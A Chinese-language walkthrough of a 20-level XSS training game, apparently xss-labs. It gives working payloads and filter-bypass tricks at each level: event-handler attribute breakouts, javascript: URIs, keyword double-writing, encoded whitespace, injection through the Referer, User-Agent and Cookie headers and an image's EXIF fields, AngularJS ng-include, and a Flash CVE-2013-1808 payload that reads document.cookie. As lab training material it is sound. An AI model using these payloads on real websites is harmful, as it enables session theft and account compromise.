XSS小游戏通关攻略
level1
直接修改name参数的值为:
<script>alert(1)</script>
解释:利用<script>标签下的alert()弹窗
level2
尝试使用level1的:
<script>alert(1)</script>
查看网页源代码:
很明显,level2关卡的值被传到了value里
尝试使用
" onmouseover='alert(1)'
闭合vlaue的双引号
level3
尝试
" οnmοuseοver='alert(1)' 失败, " 被过滤
将 " 换成 ',后面的’去掉
'οnmοuseοver='alert(1)'
level4
观察网页源代码,可将参数值修改为:
" οnmοuseοver="alert(1)
level5
尝试之前关卡的xss代码,可知源代码有限制如下:
htmlspecialchars() 转义 < >
on转换为了o_n
<script>alert(1)</script> 仅转义<scrip 为 <scr_ip
尝试大小写绕过
" ONmouseover="alert(1) 大写被全部转换为小写
源代码不变
使用a标签的href属性
"><a href="javascript:alert('XSS');">//
level6
尝试大小写绕过
" ONmouseover="alert(1)
level7
输入以下两种XSS代码.可知,其完整过滤了script,href
<script>alert(1)</script>"><a href="javascript:alert(1);">//
换成onmouseover 可知其过滤了大小写和on关键字符
" ONmouseover="alert(1)
尝试使用双写绕过
"><a hrhrefef="javascriscriptpt:alert(1);">//" oonnmouseover="alert(1)
level8
查看网页源代码可知:
20行存在a标签,值为我们输入的参数,存在XSS漏洞
尝试:
javascript:alert(1)
猜测 r 被替换为了 r_
尝试使用Unicode编码绕过
javascript:alert(1)
level9
查看level9的php文件代码
发现存在strpos(),判断 http:// 是否存在
借助level8的payload重新构造得:
javascript:alert('http://')
level10
查看网页的源代码可知,本关卡存在三个参数。尝试给前两位参数传值,发现没有作用,只有第三位可传。
t_sort=" οnmοuseοver="alert(1)" type="text
level11
查看php文件的代码
可知我们可以在请求头进行XSS注入
通过bp抓包(level10到level11的包)
修改其Referer
" οnmοuseοver=alert(1) type="text"
level12
首先查看网页的源代码
可以看到有一个参数 t_ua 的值
可以联想到用bp抓包,再更改它的user-agent(后面加)
" οnmοuseοver="alert(1)" type="text
重新放出
level13
和12关类似,用bp抓包
然后修改Cookie的值:
" οnmοuseοver="alert(1)" type="text
level14
这一关是关于图片的exif信息,未加过滤就会触发xss漏洞攻击。
原来的本关是跳转到网站
http://exifviewer.org,然后在网站上通过上传自己修改过的图片来产生xss漏洞攻击的,但是网站现在已经登不进去了。
在查阅了多方的资料以后,还是通过一位大佬自己编写的php文件来复现此关(自己又修改了一点点)。php修改文件如下:
<head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() { confirm("完成的不错!"); window.location.href="level15.php??src=1.gif"; }</script></head><form action="" method="post" enctype="multipart/form-data"> <h1 align=center>欢迎来到level14</h1> <input type="file" id="File" name="file"/> <input type="submit" name="submit" value="submit"></form><?php//error_reporting(0);if(isset($_POST['submit'])){ $file = $_FILES['file']; $filetmps = $file['tmp_name']; $exif = exif_read_data($file['tmp_name'], 0, true); foreach ($exif as $key => $section) { foreach ($section as $name => $val) { echo "$key.$name: $val<br />\n"; } }}?>
很多属性都是可以尝试去修改的,修改的xss语句可以是:
' "><img src=1 οnerrοr=alert("xss")>'
我们这次修改的就是照相机制造商:
将修改后的照片上传
点击submit后,成功
ps: php版本得选高点,确保有php_exif,然后也必须开启它。phpstudy可以直接在php拓展里面开启它。
level15
做这道题的时候,由于靶场内的网址
https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js
服务器是在国外
建议使用VPN,访问才能变快。否则可能因为长时间响应而导致未出现弹窗。
观察到有ng-include出现,ng-include指令用来包含外部的HTML文件
自然想到文件包含,调用evil code执行弹窗
?src='level1.php?name=<img src=x οnerrοr=alert(1)>'
level16
查看源代码
我们可以知道,这一关过滤了
script 空格 /
空格的过滤尝试采用编码来进行绕过
%0d%0a
因为尖括号没被过滤,但script关键字被过滤
尝试构造的payload可以使用img标签
<img%0d%0asrc=1%0d%0aonerror=alert(1)>
level17
查看本关php源代码
可见本关使用了<embed>
标签,然后对于两个参数都进行了htmlspecialchars()函数的防护。
在标签内直接插入onmouseover
arg01=a&arg02=b onmouseover=alert(1)
点击成功进入18关
level18
arg01=a&arg02=b onmouseover=alert(1)
此关卡的payload和上一关一样,但是要注意的是必须要安装flashplayer插件才能有弹窗出现(level17关也是)。
亲测,没有安装的火狐无法弹出窗口。安装了的qq浏览器可以成功弹出
level19
arg01=version&arg02=<a%20href="javascript:alert(1)">1</a>
右键这些看不懂的一些代码,发现这是flash渲染出来的。那么要看swf文件。
在源码中可知src=xsf03.swf
我们去xsf03.swf寻找sIFR
sIFR:当页面下载时,在一个指定的元素中用Flash渲染的文字来代替一些文本。
利用FFdec来反编译xsf03.swf文件
根据刚刚看到的界面信息来查找相关信息的代码
我们再查找VERSION_WARNING
可以看出version值赋给了_loc4_
version就是436哦。。。
就试一下
?arg01=version&arg02=b
也就是version=b
因为刚刚有在源码上看到,如果version!=436,页面的%s就会改成你写的
果不其然
毫无疑问,我们应该在这里插入我们所构造的payload
再次查看反编译以后的sIFR,我们可以看到里面有getURL函数,利用这个函数我们就可以自动打开指定的网页,开启条件就是链接形式
那我们就尝试使用a标签构造链接,然后夹杂私货小弹窗。
尝试
version=<a href="javascript:alert(1)">1</a>a>
页面里面就是
arg01=version&arg02=<a%20href="javascript:alert(1)">1</a>
可以看到,蓝色字体11就是我们构造的链接,可以正常显示
点击11,成功
level20
查看页面的源代码
使用FFdec反编译xsf04.swf
CVE-2013-1808的漏洞,详情请看
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1808
大佬提供的payload
http://localhost/xss_game/level20.php?arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height